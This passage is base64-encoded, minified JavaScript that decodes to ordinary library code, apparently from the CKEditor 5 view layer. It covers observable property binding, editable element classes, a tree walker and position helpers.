yIEtjPVdjO2NvbnN0IHFjPVN5bWJvbCgib2JzZXJ2YWJsZVByb3BlcnRpZXMiKTtjb25zdCBZYz1TeW1ib2woImJvdW5kT2JzZXJ2YWJsZXMiKTtjb25zdCBRYz1TeW1ib2woImJvdW5kUHJvcGVydGllcyIpO2NvbnN0ICRjPXtzZXQodCxlKXtpZihjdCh0KSl7T2JqZWN0LmtleXModCkuZm9yRWFjaCgoZT0+e3RoaXMuc2V0KGUsdFtlXSl9KSx0aGlzKTtyZXR1cm59WmModGhpcyk7Y29uc3Qgbj10aGlzW3FjXTtpZih0IGluIHRoaXMmJiFuLmhhcyh0KSl7dGhyb3cgbmV3IHNzWyJhIl0oIm9ic2VydmFibGUtc2V0LWNhbm5vdC1vdmVycmlkZSIsdGhpcyl9T2JqZWN0LmRlZmluZVByb3BlcnR5KHRoaXMsdCx7ZW51bWVyYWJsZTp0cnVlLGNvbmZpZ3VyYWJsZTp0cnVlLGdldCgpe3JldHVybiBuLmdldCh0KX0sc2V0KGUpe2NvbnN0IGk9bi5nZXQodCk7bGV0IG89dGhpcy5maXJlKCJzZXQ6Iit0LHQsZSxpKTtpZihvPT09dW5kZWZpbmVkKXtvPWV9aWYoaSE9PW98fCFuLmhhcyh0KSl7bi5zZXQodCxvKTt0aGlzLmZpcmUoImNoYW5nZToiK3QsdCxvLGkpfX19KTt0aGlzW3RdPWV9LGJpbmQoLi4udCl7aWYoIXQubGVuZ3RofHwhbmwodCkpe3Rocm93IG5ldyBzc1siYSJdKCJvYnNlcnZhYmxlLWJpbmQtd3JvbmctcHJvcGVydGllcyIsdGhpcyl9aWYobmV3IFNldCh0KS5zaXplIT09dC5sZW5ndGgpe3Rocm93IG5ldyBzc1siYSJdKCJvYnNlcnZhYmxlLWJpbmQtZHVwbGljYXRlLXByb3BlcnRpZXMiLHRoaXMpfVpjKHRoaXMpO2NvbnN0IGU9dGhpc1tRY107dC5mb3JFYWNoKCh0PT57aWYoZS5oYXModCkpe3Rocm93IG5ldyBzc1siYSJdKCJvYnNlcnZhYmxlLWJpbmQtcmViaW5kIix0aGlzKX19KSk7Y29uc3Qgbj1uZXcgTWFwO3QuZm9yRWFjaCgodD0+e2NvbnN0IGk9e3Byb3BlcnR5OnQsdG86W119O2Uuc2V0KHQsaSk7bi5zZXQodCxpKX0pKTtyZXR1cm57dG86WGMsdG9NYW55OnRsLF9vYnNlcnZhYmxlOnRoaXMsX2JpbmRQcm9wZXJ0aWVzOnQsX3RvOltdLF9iaW5kaW5nczpufX0sdW5iaW5kKC4uLnQpe2lmKCF0aGlzW3FjXSl7cmV0dXJufWNvbnN0IGU9dGhpc1tRY107Y29uc3Qgbj10aGlzW1ljXTtpZih0Lmxlbmd0aCl7aWYoIW5sKHQpKXt0aHJvdyBuZXcgc3NbImEiXSgib2JzZXJ2YWJsZS11bmJpbmQtd3JvbmctcHJvcGVydGllcyIsdGhpcyl9dC5mb3JFYWNoKCh0PT57Y29uc3QgaT1lLmdldCh0KTtpZighaSl7cmV0dXJufWxldCBvLHIscyxhO2kudG8uZm9yRWFjaCgodD0+e289dFswXTtyPXRbMV07cz1uLmdldChvKTthPXNbcl07YS5kZWxldGUoaSk7aWYoIWEuc2l6ZSl7ZGVsZXRlIHNbcl19aWYoIU9iamVjdC5rZXlzKHMpLmxlbmd0aCl7bi5kZWxldGUobyk7dGhpcy5zdG9wTGlzdGVuaW5nKG8sImNoYW5nZSIpfX0pKTtlLmRlbGV0ZSh0KX0pKX1lbHNle24uZm9yRWFjaCgoKHQsZSk9Pnt0aGlzLnN0b3BMaXN0ZW5pbmcoZSwiY2hhbmdlIil9KSk7bi5jbGVhcigpO2UuY2xlYXIoKX19LGRlY29yYXRlKHQpe2NvbnN0IGU9dGhpc1t0XTtpZighZSl7dGhyb3cgbmV3IHNzWyJhIl0oIm9ic2VydmFibGVtaXhpbi1jYW5ub3QtZGVjb3JhdGUtdW5kZWZpbmVkIix0aGlzLHtvYmplY3Q6dGhpcyxtZXRob2ROYW1lOnR9KX10aGlzLm9uKHQsKCh0LG4pPT57dC5yZXR1cm49ZS5hcHBseSh0aGlzLG4pfSkpO3RoaXNbdF09ZnVuY3Rpb24oLi4uZSl7cmV0dXJuIHRoaXMuZmlyZSh0LGUpfX19O0tjKCRjLGRzKTt2YXIgSmM9JGM7ZnVuY3Rpb24gWmModCl7aWYodFtxY10pe3JldHVybn1PYmplY3QuZGVmaW5lUHJvcGVydHkodCxxYyx7dmFsdWU6bmV3IE1hcH0pO09iamVjdC5kZWZpbmVQcm9wZXJ0eSh0LFljLHt2YWx1ZTpuZXcgTWFwfSk7T2JqZWN0LmRlZmluZVByb3BlcnR5KHQsUWMse3ZhbHVlOm5ldyBNYXB9KX1mdW5jdGlvbiBYYyguLi50KXtjb25zdCBlPWlsKC4uLnQpO2NvbnN0IG49QXJyYXkuZnJvbSh0aGlzLl9iaW5kaW5ncy5rZXlzKCkpO2NvbnN0IGk9bi5sZW5ndGg7aWYoIWUuY2FsbGJhY2smJmUudG8ubGVuZ3RoPjEpe3Rocm93IG5ldyBzc1siYSJdKCJvYnNlcnZhYmxlLWJpbmQtdG8tbm8tY2FsbGJhY2siLHRoaXMpfWlmKGk+MSYmZS5jYWxsYmFjayl7dGhyb3cgbmV3IHNzWyJhIl0oIm9ic2VydmFibGUtYmluZC10by1leHRyYS1jYWxsYmFjayIsdGhpcyl9ZS50by5mb3JFYWNoKCh0PT57aWYodC5wcm9wZXJ0aWVzLmxlbmd0aCYmdC5wcm9wZXJ0aWVzLmxlbmd0aCE9PWkpe3Rocm93IG5ldyBzc1siYSJdKCJvYnNlcnZhYmxlLWJpbmQtdG8tcHJvcGVydGllcy1sZW5ndGgiLHRoaXMpfWlmKCF0LnByb3BlcnRpZXMubGVuZ3RoKXt0LnByb3BlcnRpZXM9dGhpcy5fYmluZFByb3BlcnRpZXN9fSkpO3RoaXMuX3RvPWUudG87aWYoZS5jYWxsYmFjayl7dGhpcy5fYmluZGluZ3MuZ2V0KG5bMF0pLmNhbGxiYWNrPWUuY2FsbGJhY2t9YWwodGhpcy5fb2JzZXJ2YWJsZSx0aGlzLl90byk7cmwodGhpcyk7dGhpcy5fYmluZFByb3BlcnRpZXMuZm9yRWFjaCgodD0+e3NsKHRoaXMuX29ic2VydmFibGUsdCl9KSl9ZnVuY3Rpb24gdGwodCxlLG4pe2lmKHRoaXMuX2JpbmRpbmdzLnNpemU+MSl7dGhyb3cgbmV3IHNzWyJhIl0oIm9ic2VydmFibGUtYmluZC10by1tYW55LW5vdC1vbmUtYmluZGluZyIsdGhpcyl9dGhpcy50byguLi5lbCh0LGUpLG4pfWZ1bmN0aW9uIGVsKHQsZSl7Y29uc3Qgbj10Lm1hcCgodD0+W3QsZV0pKTtyZXR1cm4gQXJyYXkucHJvdG90eXBlLmNvbmNhdC5hcHBseShbXSxuKX1mdW5jdGlvbiBubCh0KXtyZXR1cm4gdC5ldmVyeSgodD0+dHlwZW9mIHQ9PSJzdHJpbmciKSl9ZnVuY3Rpb24gaWwoLi4udCl7aWYoIXQubGVuZ3RoKXt0aHJvdyBuZXcgc3NbImEiXSgib2JzZXJ2YWJsZS1iaW5kLXRvLXBhcnNlLWVycm9yIixudWxsKX1jb25zdCBlPXt0bzpbXX07bGV0IG47aWYodHlwZW9mIHRbdC5sZW5ndGgtMV09PSJmdW5jdGlvbiIpe2UuY2FsbGJhY2s9dC5wb3AoKX10LmZvckVhY2goKHQ9PntpZih0eXBlb2YgdD09InN0cmluZyIpe24ucHJvcGVydGllcy5wdXNoKHQpfWVsc2UgaWYodHlwZW9mIHQ9PSJvYmplY3QiKXtuPXtvYnNlcnZhYmxlOnQscHJvcGVydGllczpbXX07ZS50by5wdXNoKG4pfWVsc2V7dGhyb3cgbmV3IHNzWyJhIl0oIm9ic2VydmFibGUtYmluZC10by1wYXJzZS1lcnJvciIsbnVsbCl9fSkpO3JldHVybiBlfWZ1bmN0aW9uIG9sKHQsZSxuLGkpe2NvbnN0IG89dFtZY107Y29uc3Qgcj1vLmdldChuKTtjb25zdCBzPXJ8fHt9O2lmKCFzW2ldKXtzW2ldPW5ldyBTZXR9c1tpXS5hZGQoZSk7aWYoIXIpe28uc2V0KG4scyl9fWZ1bmN0aW9uIHJsKHQpe2xldCBlO3QuX2JpbmRpbmdzLmZvckVhY2goKChuLGkpPT57dC5fdG8uZm9yRWFjaCgobz0+e2U9by5wcm9wZXJ0aWVzW24uY2FsbGJhY2s/MDp0Ll9iaW5kUHJvcGVydGllcy5pbmRleE9mKGkpXTtuLnRvLnB1c2goW28ub2JzZXJ2YWJsZSxlXSk7b2wodC5fb2JzZXJ2YWJsZSxuLG8ub2JzZXJ2YWJsZSxlKX0pKX0pKX1mdW5jdGlvbiBzbCh0LGUpe2NvbnN0IG49dFtRY107Y29uc3QgaT1uLmdldChlKTtsZXQgbztpZihpLmNhbGxiYWNrKXtvPWkuY2FsbGJhY2suYXBwbHkodCxpLnRvLm1hcCgodD0+dFswXVt0WzFdXSkpKX1lbHNle289aS50b1swXTtvPW9bMF1bb1sxXV19aWYoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHQsZSkpe3RbZV09b31lbHNle3Quc2V0KGUsbyl9fWZ1bmN0aW9uIGFsKHQsZSl7ZS5mb3JFYWNoKChlPT57Y29uc3Qgbj10W1ljXTtsZXQgaTtpZighbi5nZXQoZS5vYnNlcnZhYmxlKSl7dC5saXN0ZW5UbyhlLm9ic2VydmFibGUsImNoYW5nZSIsKChvLHIpPT57aT1uLmdldChlLm9ic2VydmFibGUpW3JdO2lmKGkpe2kuZm9yRWFjaCgoZT0+e3NsKHQsZS5wcm9wZXJ0eSl9KSl9fSkpfX0pKX1jbGFzcyBjbCBleHRlbmRzIEhje2NvbnN0cnVjdG9yKHQsZSxuLGkpe3N1cGVyKHQsZSxuLGkpO3RoaXMuc2V0KCJpc1JlYWRPbmx5IixmYWxzZSk7dGhpcy5zZXQoImlzRm9jdXNlZCIsZmFsc2UpO3RoaXMuYmluZCgiaXNSZWFkT25seSIpLnRvKHQpO3RoaXMuYmluZCgiaXNGb2N1c2VkIikudG8odCwiaXNGb2N1c2VkIiwoZT0+ZSYmdC5zZWxlY3Rpb24uZWRpdGFibGVFbGVtZW50PT10aGlzKSk7dGhpcy5saXN0ZW5Ubyh0LnNlbGVjdGlvbiwiY2hhbmdlIiwoKCk9Pnt0aGlzLmlzRm9jdXNlZD10LmlzRm9jdXNlZCYmdC5zZWxlY3Rpb24uZWRpdGFibGVFbGVtZW50PT10aGlzfSkpfWlzKHQsZT1udWxsKXtpZighZSl7cmV0dXJuIHQ9PT0iZWRpdGFibGVFbGVtZW50Inx8dD09PSJ2aWV3OmVkaXRhYmxlRWxlbWVudCJ8fHQ9PT0iY29udGFpbmVyRWxlbWVudCJ8fHQ9PT0idmlldzpjb250YWluZXJFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQifHx0PT09Im5vZGUifHx0PT09InZpZXc6bm9kZSJ9ZWxzZXtyZXR1cm4gZT09PXRoaXMubmFtZSYmKHQ9PT0iZWRpdGFibGVFbGVtZW50Inx8dD09PSJ2aWV3OmVkaXRhYmxlRWxlbWVudCJ8fHQ9PT0iY29udGFpbmVyRWxlbWVudCJ8fHQ9PT0idmlldzpjb250YWluZXJFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQiKX19ZGVzdHJveSgpe3RoaXMuc3RvcExpc3RlbmluZygpfX1fcyhjbCxKYyk7Y29uc3QgbGw9U3ltYm9sKCJyb290TmFtZSIpO2NsYXNzIGRsIGV4dGVuZHMgY2x7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0LGUpO3RoaXMucm9vdE5hbWU9Im1haW4ifWlzKHQsZT1udWxsKXtpZighZSl7cmV0dXJuIHQ9PT0icm9vdEVsZW1lbnQifHx0PT09InZpZXc6cm9vdEVsZW1lbnQifHx0PT09ImVkaXRhYmxlRWxlbWVudCJ8fHQ9PT0idmlldzplZGl0YWJsZUVsZW1lbnQifHx0PT09ImNvbnRhaW5lckVsZW1lbnQifHx0PT09InZpZXc6Y29udGFpbmVyRWxlbWVudCJ8fHQ9PT0iZWxlbWVudCJ8fHQ9PT0idmlldzplbGVtZW50Inx8dD09PSJub2RlInx8dD09PSJ2aWV3Om5vZGUifWVsc2V7cmV0dXJuIGU9PT10aGlzLm5hbWUmJih0PT09InJvb3RFbGVtZW50Inx8dD09PSJ2aWV3OnJvb3RFbGVtZW50Inx8dD09PSJlZGl0YWJsZUVsZW1lbnQifHx0PT09InZpZXc6ZWRpdGFibGVFbGVtZW50Inx8dD09PSJjb250YWluZXJFbGVtZW50Inx8dD09PSJ2aWV3OmNvbnRhaW5lckVsZW1lbnQifHx0PT09ImVsZW1lbnQifHx0PT09InZpZXc6ZWxlbWVudCIpfX1nZXQgcm9vdE5hbWUoKXtyZXR1cm4gdGhpcy5nZXRDdXN0b21Qcm9wZXJ0eShsbCl9c2V0IHJvb3ROYW1lKHQpe3RoaXMuX3NldEN1c3RvbVByb3BlcnR5KGxsLHQpfXNldCBfbmFtZSh0KXt0aGlzLm5hbWU9dH19Y2xhc3MgdWx7Y29uc3RydWN0b3IodD17fSl7aWYoIXQuYm91bmRhcmllcyYmIXQuc3RhcnRQb3NpdGlvbil7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctdHJlZS13YWxrZXItbm8tc3RhcnQtcG9zaXRpb24iLG51bGwpfWlmKHQuZGlyZWN0aW9uJiZ0LmRpcmVjdGlvbiE9ImZvcndhcmQiJiZ0LmRpcmVjdGlvbiE9ImJhY2t3YXJkIil7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctdHJlZS13YWxrZXItdW5rbm93bi1kaXJlY3Rpb24iLHQuc3RhcnRQb3NpdGlvbix7ZGlyZWN0aW9uOnQuZGlyZWN0aW9ufSl9dGhpcy5ib3VuZGFyaWVzPXQuYm91bmRhcmllc3x8bnVsbDtpZih0LnN0YXJ0UG9zaXRpb24pe3RoaXMucG9zaXRpb249aGwuX2NyZWF0ZUF0KHQuc3RhcnRQb3NpdGlvbil9ZWxzZXt0aGlzLnBvc2l0aW9uPWhsLl9jcmVhdGVBdCh0LmJvdW5kYXJpZXNbdC5kaXJlY3Rpb249PSJiYWNrd2FyZCI/ImVuZCI6InN0YXJ0Il0pfXRoaXMuZGlyZWN0aW9uPXQuZGlyZWN0aW9ufHwiZm9yd2FyZCI7dGhpcy5zaW5nbGVDaGFyYWN0ZXJzPSEhdC5zaW5nbGVDaGFyYWN0ZXJzO3RoaXMuc2hhbGxvdz0hIXQuc2hhbGxvdzt0aGlzLmlnbm9yZUVsZW1lbnRFbmQ9ISF0Lmlnbm9yZUVsZW1lbnRFbmQ7dGhpcy5fYm91bmRhcnlTdGFydFBhcmVudD10aGlzLmJvdW5kYXJpZXM/dGhpcy5ib3VuZGFyaWVzLnN0YXJ0LnBhcmVudDpudWxsO3RoaXMuX2JvdW5kYXJ5RW5kUGFyZW50PXRoaXMuYm91bmRhcmllcz90aGlzLmJvdW5kYXJpZXMuZW5kLnBhcmVudDpudWxsfVtTeW1ib2wuaXRlcmF0b3JdKCl7cmV0dXJuIHRoaXN9c2tpcCh0KXtsZXQgZSxuLGk7ZG97aT10aGlzLnBvc2l0aW9uOyh7ZG9uZTplLHZhbHVlOm59PXRoaXMubmV4dCgpKX13aGlsZSghZSYmdChuKSk7aWYoIWUpe3RoaXMucG9zaXRpb249aX19bmV4dCgpe2lmKHRoaXMuZGlyZWN0aW9uPT0iZm9yd2FyZCIpe3JldHVybiB0aGlzLl9uZXh0KCl9ZWxzZXtyZXR1cm4gdGhpcy5fcHJldmlvdXMoKX19X25leHQoKXtsZXQgdD10aGlzLnBvc2l0aW9uLmNsb25lKCk7Y29uc3QgZT10aGlzLnBvc2l0aW9uO2NvbnN0IG49dC5wYXJlbnQ7aWYobi5wYXJlbnQ9PT1udWxsJiZ0Lm9mZnNldD09PW4uY2hpbGRDb3VudCl7cmV0dXJue2RvbmU6dHJ1ZX19aWYobj09PXRoaXMuX2JvdW5kYXJ5RW5kUGFyZW50JiZ0Lm9mZnNldD09dGhpcy5ib3VuZGFyaWVzLmVuZC5vZmZzZXQpe3JldHVybntkb25lOnRydWV9fWxldCBpO2lmKG4gaW5zdGFuY2VvZiBWcyl7aWYodC5pc0F0RW5kKXt0aGlzLnBvc2l0aW9uPWhsLl9jcmVhdGVBZnRlcihuKTtyZXR1cm4gdGhpcy5fbmV4dCgpfWk9bi5kYXRhW3Qub2Zmc2V0XX1lbHNle2k9bi5nZXRDaGlsZCh0Lm9mZnNldCl9aWYoaSBpbnN0YW5jZW9mIGpjKXtpZighdGhpcy5zaGFsbG93KXt0PW5ldyBobChpLDApfWVsc2V7dC5vZmZzZXQrK310aGlzLnBvc2l0aW9uPXQ7cmV0dXJuIHRoaXMuX2Zvcm1hdFJldHVyblZhbHVlKCJlbGVtZW50U3RhcnQiLGksZSx0LDEpfWVsc2UgaWYoaSBpbnN0YW5jZW9mIFZzKXtpZih0aGlzLnNpbmdsZUNoYXJhY3RlcnMpe3Q9bmV3IGhsKGksMCk7dGhpcy5wb3NpdGlvbj10O3JldHVybiB0aGlzLl9uZXh0KCl9ZWxzZXtsZXQgbj1pLmRhdGEubGVuZ3RoO2xldCBvO2lmKGk9PXRoaXMuX2JvdW5kYXJ5RW5kUGFyZW50KXtuPXRoaXMuYm91bmRhcmllcy5lbmQub2Zmc2V0O289bmV3IFVzKGksMCxuKTt0PWhsLl9jcmVhdGVBZnRlcihvKX1lbHNle289bmV3IFVzKGksMCxpLmRhdGEubGVuZ3RoKTt0Lm9mZnNldCsrfXRoaXMucG9zaXRpb249dDtyZXR1cm4gdGhpcy5fZm9ybWF0UmV0dXJuVmFsdWUoInRleHQiLG8sZSx0LG4pfX1lbHNlIGlmKHR5cGVvZiBpPT0ic3RyaW5nIil7bGV0IGk7aWYodGhpcy5zaW5nbGVDaGFyYWN0ZXJzKXtpPTF9ZWxzZXtjb25zdCBlPW49PT10aGlzLl9ib3VuZGFyeUVuZFBhcmVudD90aGlzLmJvdW5kYXJpZXMuZW5kLm9mZnNldDpuLmRhdGEubGVuZ3RoO2k9ZS10Lm9mZnNldH1jb25zdCBvPW5ldyBVcyhuLHQub2Zmc2V0LGkpO3Qub2Zmc2V0Kz1pO3RoaXMucG9zaXRpb249dDtyZXR1cm4gdGhpcy5fZm9ybWF0UmV0dXJuVmFsdWUoInRleHQiLG8sZSx0LGkpfWVsc2V7dD1obC5fY3JlYXRlQWZ0ZXIobik7dGhpcy5wb3NpdGlvbj10O2lmKHRoaXMuaWdub3JlRWxlbWVudEVuZCl7cmV0dXJuIHRoaXMuX25leHQoKX1lbHNle3JldHVybiB0aGlzLl9mb3JtYXRSZXR1cm5WYWx1ZSgiZWxlbWVudEVuZCIsbixlLHQpfX19X3ByZXZpb3VzKCl7bGV0IHQ9dGhpcy5wb3NpdGlvbi5jbG9uZSgpO2NvbnN0IGU9dGhpcy5wb3NpdGlvbjtjb25zdCBuPXQucGFyZW50O2lmKG4ucGFyZW50PT09bnVsbCYmdC5vZmZzZXQ9PT0wKXtyZXR1cm57ZG9uZTp0cnVlfX1pZihuPT10aGlzLl9ib3VuZGFyeVN0YXJ0UGFyZW50JiZ0Lm9mZnNldD09dGhpcy5ib3VuZGFyaWVzLnN0YXJ0Lm9mZnNldCl7cmV0dXJue2RvbmU6dHJ1ZX19bGV0IGk7aWYobiBpbnN0YW5jZW9mIFZzKXtpZih0LmlzQXRTdGFydCl7dGhpcy5wb3NpdGlvbj1obC5fY3JlYXRlQmVmb3JlKG4pO3JldHVybiB0aGlzLl9wcmV2aW91cygpfWk9bi5kYXRhW3Qub2Zmc2V0LTFdfWVsc2V7aT1uLmdldENoaWxkKHQub2Zmc2V0LTEpfWlmKGkgaW5zdGFuY2VvZiBqYyl7aWYoIXRoaXMuc2hhbGxvdyl7dD1uZXcgaGwoaSxpLmNoaWxkQ291bnQpO3RoaXMucG9zaXRpb249dDtpZih0aGlzLmlnbm9yZUVsZW1lbnRFbmQpe3JldHVybiB0aGlzLl9wcmV2aW91cygpfWVsc2V7cmV0dXJuIHRoaXMuX2Zvcm1hdFJldHVyblZhbHVlKCJlbGVtZW50RW5kIixpLGUsdCl9fWVsc2V7dC5vZmZzZXQtLTt0aGlzLnBvc2l0aW9uPXQ7cmV0dXJuIHRoaXMuX2Zvcm1hdFJldHVyblZhbHVlKCJlbGVtZW50U3RhcnQiLGksZSx0LDEpfX1lbHNlIGlmKGkgaW5zdGFuY2VvZiBWcyl7aWYodGhpcy5zaW5nbGVDaGFyYWN0ZXJzKXt0PW5ldyBobChpLGkuZGF0YS5sZW5ndGgpO3RoaXMucG9zaXRpb249dDtyZXR1cm4gdGhpcy5fcHJldmlvdXMoKX1lbHNle2xldCBuPWkuZGF0YS5sZW5ndGg7bGV0IG87aWYoaT09dGhpcy5fYm91bmRhcnlTdGFydFBhcmVudCl7Y29uc3QgZT10aGlzLmJvdW5kYXJpZXMuc3RhcnQub2Zmc2V0O289bmV3IFVzKGksZSxpLmRhdGEubGVuZ3RoLWUpO249by5kYXRhLmxlbmd0aDt0PWhsLl9jcmVhdGVCZWZvcmUobyl9ZWxzZXtvPW5ldyBVcyhpLDAsaS5kYXRhLmxlbmd0aCk7dC5vZmZzZXQtLX10aGlzLnBvc2l0aW9uPXQ7cmV0dXJuIHRoaXMuX2Zvcm1hdFJldHVyblZhbHVlKCJ0ZXh0IixvLGUsdCxuKX19ZWxzZSBpZih0eXBlb2YgaT09InN0cmluZyIpe2xldCBpO2lmKCF0aGlzLnNpbmdsZUNoYXJhY3RlcnMpe2NvbnN0IGU9bj09PXRoaXMuX2JvdW5kYXJ5U3RhcnRQYXJlbnQ/dGhpcy5ib3VuZGFyaWVzLnN0YXJ0Lm9mZnNldDowO2k9dC5vZmZzZXQtZX1lbHNle2k9MX10Lm9mZnNldC09aTtjb25zdCBvPW5ldyBVcyhuLHQub2Zmc2V0LGkpO3RoaXMucG9zaXRpb249dDtyZXR1cm4gdGhpcy5fZm9ybWF0UmV0dXJuVmFsdWUoInRleHQiLG8sZSx0LGkpfWVsc2V7dD1obC5fY3JlYXRlQmVmb3JlKG4pO3RoaXMucG9zaXRpb249dDtyZXR1cm4gdGhpcy5fZm9ybWF0UmV0dXJuVmFsdWUoImVsZW1lbnRTdGFydCIsbixlLHQsMSl9fV9mb3JtYXRSZXR1cm5WYWx1ZSh0LGUsbixpLG8pe2lmKGUgaW5zdGFuY2VvZiBVcyl7aWYoZS5vZmZzZXRJblRleHQrZS5kYXRhLmxlbmd0aD09ZS50ZXh0Tm9kZS5kYXRhLmxlbmd0aCl7aWYodGhpcy5kaXJlY3Rpb249PSJmb3J3YXJkIiYmISh0aGlzLmJvdW5kYXJpZXMmJnRoaXMuYm91bmRhcmllcy5lbmQuaXNFcXVhbCh0aGlzLnBvc2l0aW9uKSkpe2k9aGwuX2NyZWF0ZUFmdGVyKGUudGV4dE5vZGUpO3RoaXMucG9zaXRpb249aX1lbHNle249aGwuX2NyZWF0ZUFmdGVyKGUudGV4dE5vZGUpfX1pZihlLm9mZnNldEluVGV4dD09PTApe2lmKHRoaXMuZGlyZWN0aW9uPT0iYmFja3dhcmQiJiYhKHRoaXMuYm91bmRhcmllcyYmdGhpcy5ib3VuZGFyaWVzLnN0YXJ0LmlzRXF1YWwodGhpcy5wb3NpdGlvbikpKXtpPWhsLl9jcmVhdGVCZWZvcmUoZS50ZXh0Tm9kZSk7dGhpcy5wb3NpdGlvbj1pfWVsc2V7bj1obC5fY3JlYXRlQmVmb3JlKGUudGV4dE5vZGUpfX19cmV0dXJue2RvbmU6ZmFsc2UsdmFsdWU6e3R5cGU6dCxpdGVtOmUscHJldmlvdXNQb3NpdGlvbjpuLG5leHRQb3NpdGlvbjppLGxlbmd0aDpvfX19fWNsYXNzIGhse2NvbnN0cnVjdG9yKHQsZSl7dGhpcy5wYXJlbnQ9dDt0aGlzLm9mZnNldD1lfWdldCBub2RlQWZ0ZXIoKXtpZih0aGlzLnBhcmVudC5pcygiJHRleHQiKSl7cmV0dXJuIG51bGx9cmV0dXJuIHRoaXMucGFyZW50LmdldENoaWxkKHRoaXMub2Zmc2V0KXx8bnVsbH1nZXQgbm9kZUJlZm9yZSgpe2lmKHRoaXMucGFyZW50LmlzKCIkdGV4dCIpKXtyZXR1cm4gbnVsbH1yZXR1cm4gdGhpcy5wYXJlbnQuZ2V0Q2hpbGQodGhpcy5vZmZzZXQtMSl8fG51bGx9Z2V0IGlzQXRTdGFydCgpe3JldHVybiB0aGlzLm9mZnNldD09PTB9Z2V0IGlzQXRFbmQoKXtjb25zdCB0PXRoaXMucGFyZW50LmlzKCIkdGV4dCIpP3RoaXMucGFyZW50LmRhdGEubGVuZ3RoOnRoaXMucGFyZW50LmNoaWxkQ291bnQ7cmV0dXJuIHRoaXMub2Zmc2V0PT09dH1nZXQgcm9vdCgpe3JldHVybiB0aGlzLnBhcmVudC5yb290fWdldCBlZGl0YWJsZUVsZW1lbnQoKXtsZXQgdD10aGlzLnBhcmVudDt3aGlsZSghKHQgaW5zdGFuY2VvZiBjbCkpe2lmKHQucGFyZW50KXt0PXQucGFyZW50fWVsc2V7cmV0dXJuIG51bGx9fXJldHVybiB0fWdldFNoaWZ0ZWRCeSh0KXtjb25zdCBlPWhsLl9jcmVhdGVBdCh0aGlzKTtjb25zdCBuPWUub2Zmc2V0K3Q7ZS5vZmZzZXQ9bjwwPzA6bjtyZXR1cm4gZX1nZXRMYXN0TWF0Y2hpbmdQb3NpdGlvbih0LGU9e30pe2Uuc3RhcnRQb3NpdGlvbj10aGlzO2NvbnN0IG49bmV3IHVsKGUpO24uc2tpcCh0KTtyZXR1cm4gbi5wb3NpdGlvbn1nZXRBbmNlc3RvcnMoKXtpZih0aGlzLnBhcmVudC5pcygiZG9jdW1lbnRGcmFnbWVudCIpKXtyZXR1cm5bdGhpcy5wYXJlbnRdfWVsc2V7cmV0dXJuIHRoaXMucGFyZW50LmdldEFuY2VzdG9ycyh7aW5jbHVkZVNlbGY6dHJ1ZX0pfX1nZXRDb21tb25BbmNlc3Rvcih0KXtjb25zdCBlPXRoaXMuZ2V0QW5jZXN0b3JzKCk7Y29uc3Qgbj10LmdldEFuY2VzdG9ycygpO2xldCBpPTA7d2hpbGUoZVtpXT09bltpXSYmZVtpXSl7aSsrfXJldHVybiBpPT09MD9udWxsOmVbaS0xXX1pcyh0KXtyZXR1cm4gdD09PSJwb3NpdGlvbiJ8fHQ9PT0idmlldzpwb3NpdGlvbiJ9aXNFcXVhbCh0KXtyZXR1cm4gdGhpcy5wYXJlbnQ9PXQucGFyZW50JiZ0aGlzLm9mZnNldD09dC5vZmZzZXR9aXNCZWZvcmUodCl7cmV0dXJuIHRoaXMuY29tcGFyZVdpdGgodCk9PSJiZWZvcmUifWlzQWZ0ZXIodCl7cmV0dXJuIHRoaXMuY29tcGFyZVdpdGgodCk9PSJhZnRlciJ9Y29tcGFyZVdpdGgodCl7aWYodGhpcy5yb290IT09dC5yb290KXtyZXR1cm4iZGlmZmVyZW50In1pZih0aGlzLmlzRXF1YWwodCkpe3JldHVybiJzYW1lIn1jb25zdCBlPXRoaXMucGFyZW50LmlzKCJub2RlIik/dGhpcy5wYXJlbnQuZ2V0UGF0aCgpOltdO2NvbnN0IG49dC5wYXJlbnQuaXMoIm5vZGUiKT90LnBhcmVudC5nZXRQYXRoKCk6W107ZS5wdXNoKHRoaXMub2Zmc2V0KTtuLnB1c2godC5vZmZzZXQpO2NvbnN0IGk9THMoZSxuKTtzd2l0Y2goaSl7Y2FzZSJwcmVmaXgiOnJldHVybiJiZWZvcmUiO2Nhc2UiZXh0ZW5zaW9uIjpyZXR1cm4iYWZ0ZXIiO2RlZmF1bHQ6cmV0dXJuIGVbaV08bltpXT8iYmVmb3JlIjoiYWZ0ZXIifX1nZXRXYWxrZXIodD17fSl7dC5zdGFydFBvc2l0aW9uPXRoaXM7cmV0dXJuIG5ldyB1bCh0KX1jbG9uZSgpe3JldHVybiBuZXcgaGwodGhpcy5wYXJlbnQsdGhpcy5vZmZzZXQpfXN0YXRpYyBfY3JlYXRlQXQodCxlKXtpZih0IGluc3RhbmNlb2YgaGwpe3JldHVybiBuZXcgdGhpcyh0LnBhcmVudCx0Lm9mZnNldCl9ZWxzZXtjb25zdCBuPXQ7aWYoZT09ImVuZCIpe2U9bi5pcygiJHRleHQiKT9uLmRhdGEubGVuZ3RoOm4uY2hpbGRDb3VudH1lbHNlIGlmKGU9PSJiZWZvcmUiKXtyZXR1cm4gdGhpcy5fY3JlYXRlQmVmb3JlKG4pfWVsc2UgaWYoZT09ImFmdGVyIil7cmV0dXJuIHRoaXMuX2NyZWF0ZUFmdGVyKG4pfWVsc2UgaWYoZSE9PTAmJiFlKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1jcmVhdGVwb3NpdGlvbmF0LW9mZnNldC1yZXF1aXJlZCIsbil9cmV0dXJuIG5ldyBobChuLGUpfX1zdGF0aWMgX2NyZWF0ZUFmdGVyKHQpe2lmKHQuaXMoIiR0ZXh0UHJveHkiKSl7cmV0dXJuIG5ldyBobCh0LnRleHROb2RlLHQub2Zmc2V0SW5UZXh0K3QuZGF0YS5sZW5ndGgpfWlmKCF0LnBhcmVudCl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctcG9zaXRpb24tYWZ0ZXItcm9vdCIsdCx7cm9vdDp0fSl9cmV0dXJuIG5ldyBobCh0LnBhcmVudCx0LmluZGV4KzEpfXN0YXRpYyBfY3J